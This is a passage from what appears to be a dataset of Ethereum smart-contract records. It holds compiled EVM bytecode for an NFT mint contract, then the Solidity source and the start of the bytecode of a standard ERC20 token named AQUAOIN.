10b94611b4f565b6001546000540303905090565b610ba9611a95565b73ffffffffffffffffffffffffffffffffffffffff16610bc76110f7565b73ffffffffffffffffffffffffffffffffffffffff1614610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c14906134fc565b60405180910390fd5b80600d8190555050565b60105481565b601160009054906101000a900460ff1681565b610c48611a95565b73ffffffffffffffffffffffffffffffffffffffff16610c666110f7565b73ffffffffffffffffffffffffffffffffffffffff1614610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb3906134fc565b60405180910390fd5b80600f8190555050565b610cd1838383611b54565b505050565b610cde611a95565b73ffffffffffffffffffffffffffffffffffffffff16610cfc6110f7565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d49906134fc565b60405180910390fd5b80601160006101000a81548160ff02191690831515021790555050565b610d77611a95565b73ffffffffffffffffffffffffffffffffffffffff16610d956110f7565b73ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de2906134fc565b60405180910390fd5b60026009541415610e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e289061357c565b60405180910390fd5b6002600981905550610e43334761200a565b6001600981905550565b610e688383836040518060200160405280600081525061159c565b505050565b610e75611a95565b73ffffffffffffffffffffffffffffffffffffffff16610e936110f7565b73ffffffffffffffffffffffffffffffffffffffff1614610ee9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee0906134fc565b60405180910390fd5b80600a9080519060200190610eff929190612b41565b5050565b6000610f0e826120fe565b600001519050919050565b610f21611a95565b73ffffffffffffffffffffffffffffffffffffffff16610f3f6110f7565b73ffffffffffffffffffffffffffffffffffffffff1614610f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8c906134fc565b60405180910390fd5b80600b8190555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611007576040517f8f4eb60400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff169050919050565b611077611a95565b73ffffffffffffffffffffffffffffffffffffffff166110956110f7565b73ffffffffffffffffffffffffffffffffffffffff16146110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e2906134fc565b60405180910390fd5b6110f5600061238d565b565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546111309061388c565b80601f016020809104026020016040519081016040528092919081815260200182805461115c9061388c565b80156111a95780601f1061117e576101008083540402835291602001916111a9565b820191906000526020600020905b81548152906001019060200180831161118c57829003601f168201915b5050505050905090565b600e5481565b600f5481565b6111c7611a95565b73ffffffffffffffffffffffffffffffffffffffff166111e56110f7565b73ffffffffffffffffffffffffffffffffffffffff161461123b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611232906134fc565b60405180910390fd5b80600c8190555050565b601160009054906101000a900460ff16611294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128b9061359c565b60405180910390fd5b600e54816010546112a591906136c1565b1115611300573481600d546112ba9190613748565b11156112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f29061355c565b60405180910390fd5b611417565b600f548161130d33610f9f565b61131791906136c1565b11156113b7573481600d5461132c9190613748565b111561136d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113649061355c565b60405180910390fd5b600c548111156113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a9906134bc565b60405180910390fd5b611416565b600f548111156113fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f3906134bc565b60405180910390fd5b806010600082825461140e91906136c1565b925050819055505b5b6114213382612453565b50565b61142c611a95565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611491576040517fb06307db00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b806007600061149e611a95565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661154b611a95565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611590919061341f565b60405180910390a35050565b6115a7848484611b54565b6115c68373ffffffffffffffffffffffffffffffffffffffff16612471565b80156115db57506115d984848484612494565b155b15611612576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b600c5481565b606061162982611a47565b611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f9061351c565b60405180910390fd5b600a611673836125f4565b604051602001611684929190613369565b6040516020818303038152906040529050919050565b600a80546116a79061388c565b80601f01602080910402602001604051908101604052809291908181526020018280546116d39061388c565b80156117205780601f106116f557610100808354040283529160200191611720565b820191906000526020600020905b81548152906001019060200180831161170357829003601f168201915b505050505081565b600b5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6117ca611a95565b73ffffffffffffffffffffffffffffffffffffffff166117e86110f7565b73ffffffffffffffffffffffffffffffffffffffff161461183e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611835906134fc565b60405180910390fd5b60008111611881576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118789061353c565b60405180910390fd5b600b548161188d610b8a565b61189791906136c1565b11156118d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cf906134dc565b60405180910390fd5b6118e23382612453565b50565b6118ed611a95565b73ffffffffffffffffffffffffffffffffffffffff1661190b6110f7565b73ffffffffffffffffffffffffffffffffffffffff1614611961576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611958906134fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c89061345c565b60405180910390fd5b6119da8161238d565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600081611a52611b4f565b11158015611a61575060005482105b8015611a8e575060046000838152602001908152602001600020600001601c9054906101000a900460ff16155b9050919050565b600033905090565b826006600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600090565b6000611b5f826120fe565b90508373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614611bca576040517fa114810000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008473ffffffffffffffffffffffffffffffffffffffff16611beb611a95565b73ffffffffffffffffffffffffffffffffffffffff161480611c1a5750611c1985611c14611a95565b61172e565b5b80611c5f5750611c28611a95565b73ffffffffffffffffffffffffffffffffffffffff16611c478461097d565b73ffffffffffffffffffffffffffffffffffffffff16145b905080611c98576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611cff576040517fea553b3400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b611d0c8585856001612755565b611d1860008487611a9d565b6001600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160392506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506001600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600460008581526020019081526020016000209050848160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550428160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060006001850190506000600460008381526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611f98576000548214611f9757878160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084602001518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b505050828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612003858585600161275b565b5050505050565b8047101561204d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120449061349c565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051612073906133a3565b60006040518083038185875af1925050503d80600081146120b0576040519150601f19603f3d011682016040523d82523d6000602084013e6120b5565b606091505b50509050806120f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f09061347c565b60405180910390fd5b505050565b612106612bc7565b600082905080612114611b4f565b11158015612123575060005481105b15612356576000600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff1615151515815250509050806040015161235457600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612238578092505050612388565b5b60011561235357818060019003925050600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff1615151515815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161461234e578092505050612388565b612239565b5b505b6040517fdf2d9b4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b919050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61246d828260405180602001604052806000815250612761565b5050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60008373ffffffffffffffffffffffffffffffffffffffff1663150b7a026124ba611a95565b8786866040518563ffffffff1660e01b81526004016124dc94939291906133d3565b602060405180830381600087803b1580156124f657600080fd5b505af192505050801561252757506040513d601f19601f820116820180604052508101906125249190612f8d565b60015b6125a1573d8060008114612557576040519150601f19603f3d011682016040523d82523d6000602084013e61255c565b606091505b50600081511415612599576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050949350505050565b6060600082141561263c576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612750565b600082905060005b6000821461266e578080612657906138ef565b915050600a826126679190613717565b9150612644565b60008167ffffffffffffffff81111561268a57612689613a25565b5b6040519080825280601f01601f1916602001820160405280156126bc5781602001600182028036833780820191505090505b5090505b60008514612749576001826126d591906137a2565b9150600a856126e49190613938565b60306126f091906136c1565b60f81b818381518110612706576127056139f6565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856127429190613717565b94506126c0565b8093505050505b919050565b50505050565b50505050565b61276e8383836001612773565b505050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127e0576040517f2e07630000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600084141561281b576040517fb562e8dd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6128286000868387612755565b83600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555083600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160088282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550846004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000819050600085820190508380156129f257506129f18773ffffffffffffffffffffffffffffffffffffffff16612471565b5b15612ab8575b818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612a676000888480600101955088612494565b612a9d576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b808214156129f8578260005414612ab357600080fd5b612b24565b5b818060010192508773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a480821415612ab9575b816000819055505050612b3a600086838761275b565b5050505050565b828054612b4d9061388c565b90600052602060002090601f016020900481019282612b6f5760008555612bb6565b82601f10612b8857805160ff1916838001178555612bb6565b82800160010185558215612bb6579182015b82811115612bb5578251825591602001919060010190612b9a565b5b509050612bc39190612c0a565b5090565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681526020016000151581525090565b5b80821115612c23576000816000905550600101612c0b565b5090565b6000612c3a612c35846135fc565b6135d7565b905082815260208101848484011115612c5657612c55613a59565b5b612c6184828561384a565b509392505050565b6000612c7c612c778461362d565b6135d7565b905082815260208101848484011115612c9857612c97613a59565b5b612ca384828561384a565b509392505050565b600081359050612cba81613d29565b92915050565b600081359050612ccf81613d40565b92915050565b600081359050612ce481613d57565b92915050565b600081519050612cf981613d57565b92915050565b600082601f830112612d1457612d13613a54565b5b8135612d24848260208601612c27565b91505092915050565b600082601f830112612d4257612d41613a54565b5b8135612d52848260208601612c69565b91505092915050565b600081359050612d6a81613d6e565b92915050565b600060208284031215612d8657612d85613a63565b5b6000612d9484828501612cab565b91505092915050565b60008060408385031215612db457612db3613a63565b5b6000612dc285828601612cab565b9250506020612dd385828601612cab565b9150509250929050565b600080600060608486031215612df657612df5613a63565b5b6000612e0486828701612cab565b9350506020612e1586828701612cab565b9250506040612e2686828701612d5b565b9150509250925092565b60008060008060808587031215612e4a57612e49613a63565b5b6000612e5887828801612cab565b9450506020612e6987828801612cab565b9350506040612e7a87828801612d5b565b925050606085013567ffffffffffffffff811115612e9b57612e9a613a5e565b5b612ea787828801612cff565b91505092959194509250565b60008060408385031215612eca57612ec9613a63565b5b6000612ed885828601612cab565b9250506020612ee985828601612cc0565b9150509250929050565b60008060408385031215612f0a57612f09613a63565b5b6000612f1885828601612cab565b9250506020612f2985828601612d5b565b9150509250929050565b600060208284031215612f4957612f48613a63565b5b6000612f5784828501612cc0565b91505092915050565b600060208284031215612f7657612f75613a63565b5b6000612f8484828501612cd5565b91505092915050565b600060208284031215612fa357612fa2613a63565b5b6000612fb184828501612cea565b91505092915050565b600060208284031215612fd057612fcf613a63565b5b600082013567ffffffffffffffff811115612fee57612fed613a5e565b5b612ffa84828501612d2d565b91505092915050565b60006020828403121561301957613018613a63565b5b600061302784828501612d5b565b91505092915050565b613039816137d6565b82525050565b613048816137e8565b82525050565b600061305982613673565b6130638185613689565b9350613073818560208601613859565b61307c81613a68565b840191505092915050565b60006130928261367e565b61309c81856136a5565b93506130ac818560208601613859565b6130b581613a68565b840191505092915050565b60006130cb8261367e565b6130d581856136b6565b93506130e5818560208601613859565b80840191505092915050565b600081546130fe8161388c565b61310881866136b6565b94506001821660008114613123576001811461313457613167565b60ff19831686528186019350613167565b61313d8561365e565b60005b8381101561315f57815481890152600182019150602081019050613140565b838801955050505b50505092915050565b600061317d6026836136a5565b915061318882613a79565b604082019050919050565b60006131a0603a836136a5565b91506131ab82613ac8565b604082019050919050565b60006131c3601d836136a5565b91506131ce82613b17565b602082019050919050565b60006131e66022836136a5565b91506131f182613b40565b604082019050919050565b60006132096017836136a5565b915061321482613b8f565b602082019050919050565b600061322c6005836136b6565b915061323782613bb8565b600582019050919050565b600061324f6020836136a5565b915061325a82613be1565b602082019050919050565b6000613272602f836136a5565b915061327d82613c0a565b604082019050919050565b600061329560008361369a565b91506132a082613c59565b600082019050919050565b60006132b86013836136a5565b91506132c382613c5c565b602082019050919050565b60006132db6018836136a5565b91506132e682613c85565b602082019050919050565b60006132fe601f836136a5565b915061330982613cae565b602082019050919050565b60006133216017836136a5565b915061332c82613cd7565b602082019050919050565b60006133446001836136b6565b915061334f82613d00565b600182019050919050565b61336381613840565b82525050565b600061337582856130f1565b915061338082613337565b915061338c82846130c0565b91506133978261321f565b91508190509392505050565b60006133ae82613288565b9150819050919050565b60006020820190506133cd6000830184613030565b92915050565b60006080820190506133e86000830187613030565b6133f56020830186613030565b613402604083018561335a565b8181036060830152613414818461304e565b905095945050505050565b6000602082019050613434600083018461303f565b92915050565b600060208201905081810360008301526134548184613087565b905092915050565b6000602082019050818103600083015261347581613170565b9050919050565b6000602082019050818103600083015261349581613193565b9050919050565b600060208201905081810360008301526134b5816131b6565b9050919050565b600060208201905081810360008301526134d5816131d9565b9050919050565b600060208201905081810360008301526134f5816131fc565b9050919050565b6000602082019050818103600083015261351581613242565b9050919050565b6000602082019050818103600083015261353581613265565b9050919050565b60006020820190508181036000830152613555816132ab565b9050919050565b60006020820190508181036000830152613575816132ce565b9050919050565b60006020820190508181036000830152613595816132f1565b9050919050565b600060208201905081810360008301526135b581613314565b9050919050565b60006020820190506135d1600083018461335a565b92915050565b60006135e16135f2565b90506135ed82826138be565b919050565b6000604051905090565b600067ffffffffffffffff82111561361757613616613a25565b5b61362082613a68565b9050602081019050919050565b600067ffffffffffffffff82111561364857613647613a25565b5b61365182613a68565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006136cc82613840565b91506136d783613840565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561370c5761370b613969565b5b828201905092915050565b600061372282613840565b915061372d83613840565b92508261373d5761373c613998565b5b828204905092915050565b600061375382613840565b915061375e83613840565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561379757613796613969565b5b828202905092915050565b60006137ad82613840565b91506137b883613840565b9250828210156137cb576137ca613969565b5b828203905092915050565b60006137e182613820565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561387757808201518184015260208101905061385c565b83811115613886576000848401525b50505050565b600060028204905060018216806138a457607f821691505b602082108114156138b8576138b76139c7565b5b50919050565b6138c782613a68565b810181811067ffffffffffffffff821117156138e6576138e5613a25565b5b80604052505050565b60006138fa82613840565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561392d5761392c613969565b5b600182019050919050565b600061394382613840565b915061394e83613840565b92508261395e5761395d613998565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b7f4d6178206d696e747320706572207472616e73616374696f6e2065786365656460008201527f6564000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d6178696d756d20737570706c79206578636565646564000000000000000000600082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b50565b7f496e76616c6964206d696e7420616d6f756e7400000000000000000000000000600082015250565b7f496e636f7272656374204554482076616c75652073656e740000000000000000600082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f5075626c69632073616c65206973206e6f74206f70656e000000000000000000600082015250565b7f2f00000000000000000000000000000000000000000000000000000000000000600082015250565b613d32816137d6565b8114613d3d57600080fd5b50565b613d49816137e8565b8114613d5457600080fd5b50565b613d60816137f4565b8114613d6b57600080fd5b50565b613d7781613840565b8114613d8257600080fd5b5056fea2646970667358221220e2785c82e5630f7348a28b15df921e326b62c539061ce305df3846b05234013064736f6c63430008070033
[ 7, 5 ]
0xf305dbdd88628142feb3fd54bd994183379ada55
pragma solidity ^0.4.18; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; //address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } //function transferOwnership(address _newOwner) public onlyOwner { // newOwner = _newOwner; //} //function acceptOwnership() public { // require(msg.sender == newOwner); //OwnershipTransferred(owner, newOwner); // owner = newOwner; //newOwner = address(0); //} } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract AQUAOIN is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function AQUAOIN() public { symbol = "AQN"; name = "AQUAOIN"; decimals = 18; _totalSupply = 40000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6060604052600436106100ab5763ffffffff60e060020a60003504166306fdde0381146100b0578063095ea7b31461013a57806318160ddd1461017057806323b872dd14610195578063313ce567146101bd5780633eaaf86b146101e657806370a08231146101f95780638da5cb5b1461021857806395d89b4114610247578063a9059cbb1461025a578063cae9ca511461027c578063dc39d06d146102e1578063dd62ed3e14610303575b600080fd5b34156100bb57600080fd5b6100c3610328565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156100ff5780820151838201526020016100e7565b50505050905090810190601f16801561012c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014557600080fd5b61015c600160a060020a03600435166024356103c6565b604051901515815260200160405180910390f35b341561017b57600080fd5b610183610433565b60405190815260200160405180910390f35b34156101a057600080fd5b61015c600160a060020a0360043581169060243516604435610465565b34156101c857600080fd5b6101d0610578565b60405160ff909116815260200160405180910390f35b34156101f157600080fd5b610183610581565b341561020457600080fd5b610183600160a060020a0360043516610587565b341561022357600080fd5b61022b6105a2565b604051600160a060020a03909116815260200160405180910390f35b341561025257600080fd5b6100c36105b1565b341561026557600080fd5b61015c600160a060020a036004351660243561061c565b341561028757600080fd5b61015c60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506106db95505050505050565b34156102ec57600080fd5b61015c600160a060020a0360043516602435610842565b341561030e57600080fd5b610183600160a060020a03600435811690602435166108e5565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103be5780601f10610393576101008083540402835291602001916103be565b820191906000526020600020905b8154815290600101906020018083116103a157829003601f168201915b505050505081565b600160a060020a03338116600081815260066020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b6000805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc546004540390565b600160a060020a03831660009081526005602052604081205461048e908363ffffffff61091016565b600160a060020a03808616600090815260056020908152604080832094909455600681528382203390931682529190915220546104d1908363ffffffff61091016565b600160a060020a0380861660009081526006602090815260408083203385168452825280832094909455918616815260059091522054610517908363ffffffff61092516565b600160a060020a03808516600081815260056020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60035460ff1681565b60045481565b600160a060020a031660009081526005602052604090205490565b600054600160a060020a031681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103be5780601f